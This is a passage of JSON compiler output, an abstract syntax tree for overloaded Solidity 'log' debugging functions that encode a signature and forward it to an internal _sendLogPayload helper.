eType":"FunctionDefinition","src":"35220:198:15","nodes":[],"body":{"id":27766,"nodeType":"Block","src":"35307:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c616464726573732c737472696e6729","id":27758,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"35357:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_9ffb2f93ff043d0a86ff6dc2ddf23d28dfc95ecde23d406177dfe6f19d070d2b","typeString":"literal_string \"log(string,uint256,address,string)\""},"value":"log(string,uint256,address,string)"},{"id":27759,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27746,"src":"35395:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27760,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27748,"src":"35399:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27761,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27750,"src":"35403:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27762,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27752,"src":"35407:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9ffb2f93ff043d0a86ff6dc2ddf23d28dfc95ecde23d406177dfe6f19d070d2b","typeString":"literal_string \"log(string,uint256,address,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":27756,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"35333:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27757,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"35337:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"35333:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27763,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35333:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27755,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"35317:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27764,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35317:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27765,"nodeType":"ExpressionStatement","src":"35317:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"35229:3:15","parameters":{"id":27753,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27746,"mutability":"mutable","name":"p0","nameLocation":"35247:2:15","nodeType":"VariableDeclaration","scope":27767,"src":"35233:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27745,"name":"string","nodeType":"ElementaryTypeName","src":"35233:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27748,"mutability":"mutable","name":"p1","nameLocation":"35259:2:15","nodeType":"VariableDeclaration","scope":27767,"src":"35251:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27747,"name":"uint256","nodeType":"ElementaryTypeName","src":"35251:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27750,"mutability":"mutable","name":"p2","nameLocation":"35271:2:15","nodeType":"VariableDeclaration","scope":27767,"src":"35263:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27749,"name":"address","nodeType":"ElementaryTypeName","src":"35263:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27752,"mutability":"mutable","name":"p3","nameLocation":"35289:2:15","nodeType":"VariableDeclaration","scope":27767,"src":"35275:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27751,"name":"string","nodeType":"ElementaryTypeName","src":"35275:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35232:60:15"},"returnParameters":{"id":27754,"nodeType":"ParameterList","parameters":[],"src":"35307:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27790,"nodeType":"FunctionDefinition","src":"35424:187:15","nodes":[],"body":{"id":27789,"nodeType":"Block","src":"35502:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c616464726573732c626f6f6c29","id":27781,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"35552:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_82112a429657399db0318af6ca78ff56626aa907939e7cf56b60b07035dcc190","typeString":"literal_string \"log(string,uint256,address,bool)\""},"value":"log(string,uint256,address,bool)"},{"id":27782,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27769,"src":"35588:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27783,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27771,"src":"35592:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27784,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27773,"src":"35596:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27785,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27775,"src":"35600:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_82112a429657399db0318af6ca78ff56626aa907939e7cf56b60b07035dcc190","typeString":"literal_string \"log(string,uint256,address,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":27779,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"35528:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27780,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"35532:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"35528:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27786,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35528:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27778,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"35512:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27787,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35512:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27788,"nodeType":"ExpressionStatement","src":"35512:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"35433:3:15","parameters":{"id":27776,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27769,"mutability":"mutable","name":"p0","nameLocation":"35451:2:15","nodeType":"VariableDeclaration","scope":27790,"src":"35437:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27768,"name":"string","nodeType":"ElementaryTypeName","src":"35437:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27771,"mutability":"mutable","name":"p1","nameLocation":"35463:2:15","nodeType":"VariableDeclaration","scope":27790,"src":"35455:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27770,"name":"uint256","nodeType":"ElementaryTypeName","src":"35455:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27773,"mutability":"mutable","name":"p2","nameLocation":"35475:2:15","nodeType":"VariableDeclaration","scope":27790,"src":"35467:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27772,"name":"address","nodeType":"ElementaryTypeName","src":"35467:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27775,"mutability":"mutable","name":"p3","nameLocation":"35484:2:15","nodeType":"VariableDeclaration","scope":27790,"src":"35479:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27774,"name":"bool","nodeType":"ElementaryTypeName","src":"35479:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"35436:51:15"},"returnParameters":{"id":27777,"nodeType":"ParameterList","parameters":[],"src":"35502:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27813,"nodeType":"FunctionDefinition","src":"35617:193:15","nodes":[],"body":{"id":27812,"nodeType":"Block","src":"35698:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c616464726573732c6164647265737329","id":27804,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"35748:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5ea2b7aea4409bbe3ef8ca502419b3574b002a6123a1f864be076316b8efcd1d","typeString":"literal_string \"log(string,uint256,address,address)\""},"value":"log(string,uint256,address,address)"},{"id":27805,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27792,"src":"35787:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27806,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27794,"src":"35791:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27807,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27796,"src":"35795:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27808,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27798,"src":"35799:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5ea2b7aea4409bbe3ef8ca502419b3574b002a6123a1f864be076316b8efcd1d","typeString":"literal_string \"log(string,uint256,address,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":27802,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"35724:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27803,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"35728:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"35724:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27809,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35724:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27801,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"35708:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27810,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35708:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27811,"nodeType":"ExpressionStatement","src":"35708:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"35626:3:15","parameters":{"id":27799,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27792,"mutability":"mutable","name":"p0","nameLocation":"35644:2:15","nodeType":"VariableDeclaration","scope":27813,"src":"35630:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27791,"name":"string","nodeType":"ElementaryTypeName","src":"35630:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27794,"mutability":"mutable","name":"p1","nameLocation":"35656:2:15","nodeType":"VariableDeclaration","scope":27813,"src":"35648:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27793,"name":"uint256","nodeType":"ElementaryTypeName","src":"35648:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27796,"mutability":"mutable","name":"p2","nameLocation":"35668:2:15","nodeType":"VariableDeclaration","scope":27813,"src":"35660:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27795,"name":"address","nodeType":"ElementaryTypeName","src":"35660:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27798,"mutability":"mutable","name":"p3","nameLocation":"35680:2:15","nodeType":"VariableDeclaration","scope":27813,"src":"35672:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27797,"name":"address","nodeType":"ElementaryTypeName","src":"35672:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"35629:54:15"},"returnParameters":{"id":27800,"nodeType":"ParameterList","parameters":[],"src":"35698:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27836,"nodeType":"FunctionDefinition","src":"35816:198:15","nodes":[],"body":{"id":27835,"nodeType":"Block","src":"35903:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c75696e743235362c75696e7432353629","id":27827,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"35953:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_f45d7d2cd1abe030b09347ce21ce66b503ffdad3e7a1ad6df9e55da5d9367776","typeString":"literal_string \"log(string,string,uint256,uint256)\""},"value":"log(string,string,uint256,uint256)"},{"id":27828,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27815,"src":"35991:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27829,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27817,"src":"35995:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27830,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27819,"src":"35999:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27831,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27821,"src":"36003:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f45d7d2cd1abe030b09347ce21ce66b503ffdad3e7a1ad6df9e55da5d9367776","typeString":"literal_string \"log(string,string,uint256,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":27825,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"35929:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27826,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"35933:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"35929:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27832,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35929:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27824,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"35913:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27833,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35913:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27834,"nodeType":"ExpressionStatement","src":"35913:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"35825:3:15","parameters":{"id":27822,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27815,"mutability":"mutable","name":"p0","nameLocation":"35843:2:15","nodeType":"VariableDeclaration","scope":27836,"src":"35829:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27814,"name":"string","nodeType":"ElementaryTypeName","src":"35829:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27817,"mutability":"mutable","name":"p1","nameLocation":"35861:2:15","nodeType":"VariableDeclaration","scope":27836,"src":"35847:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27816,"name":"string","nodeType":"ElementaryTypeName","src":"35847:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27819,"mutability":"mutable","name":"p2","nameLocation":"35873:2:15","nodeType":"VariableDeclaration","scope":27836,"src":"35865:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27818,"name":"uint256","nodeType":"ElementaryTypeName","src":"35865:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27821,"mutability":"mutable","name":"p3","nameLocation":"35885:2:15","nodeType":"VariableDeclaration","scope":27836,"src":"35877:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27820,"name":"uint256","nodeType":"ElementaryTypeName","src":"35877:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"35828:60:15"},"returnParameters":{"id":27823,"nodeType":"ParameterList","parameters":[],"src":"35903:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27859,"nodeType":"FunctionDefinition","src":"36020:203:15","nodes":[],"body":{"id":27858,"nodeType":"Block","src":"36113:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c75696e743235362c737472696e6729","id":27850,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"36163:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5d1a971aebb8f2fbb7526a470ca55e409230d59ee63217090d29ce11b768e909","typeString":"literal_string \"log(string,string,uint256,string)\""},"value":"log(string,string,uint256,string)"},{"id":27851,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27838,"src":"36200:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27852,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27840,"src":"36204:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27853,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27842,"src":"36208:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27854,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27844,"src":"36212:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5d1a971aebb8f2fbb7526a470ca55e409230d59ee63217090d29ce11b768e909","typeString":"literal_string \"log(string,string,uint256,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":27848,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"36139:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27849,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"36143:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"36139:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27855,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36139:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27847,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"36123:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27856,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36123:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27857,"nodeType":"ExpressionStatement","src":"36123:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"36029:3:15","parameters":{"id":27845,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27838,"mutability":"mutable","name":"p0","nameLocation":"36047:2:15","nodeType":"VariableDeclaration","scope":27859,"src":"36033:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27837,"name":"string","nodeType":"ElementaryTypeName","src":"36033:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27840,"mutability":"mutable","name":"p1","nameLocation":"36065:2:15","nodeType":"VariableDeclaration","scope":27859,"src":"36051:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27839,"name":"string","nodeType":"ElementaryTypeName","src":"36051:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27842,"mutability":"mutable","name":"p2","nameLocation":"36077:2:15","nodeType":"VariableDeclaration","scope":27859,"src":"36069:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27841,"name":"uint256","nodeType":"ElementaryTypeName","src":"36069:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27844,"mutability":"mutable","name":"p3","nameLocation":"36095:2:15","nodeType":"VariableDeclaration","scope":27859,"src":"36081:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27843,"name":"string","nodeType":"ElementaryTypeName","src":"36081:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36032:66:15"},"returnParameters":{"id":27846,"nodeType":"ParameterList","parameters":[],"src":"36113:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27882,"nodeType":"FunctionDefinition","src":"36229:192:15","nodes":[],"body":{"id":27881,"nodeType":"Block","src":"36313:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c75696e743235362c626f6f6c29","id":27873,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"36363:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c3a8a6546b97cf01562dd9ca797c4955f3bab9bc163d02081737c20b686446d2","typeString":"literal_string \"log(string,string,uint256,bool)\""},"value":"log(string,string,uint256,bool)"},{"id":27874,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27861,"src":"36398:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27875,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27863,"src":"36402:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27876,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27865,"src":"36406:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27877,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27867,"src":"36410:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c3a8a6546b97cf01562dd9ca797c4955f3bab9bc163d02081737c20b686446d2","typeString":"literal_string \"log(string,string,uint256,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string 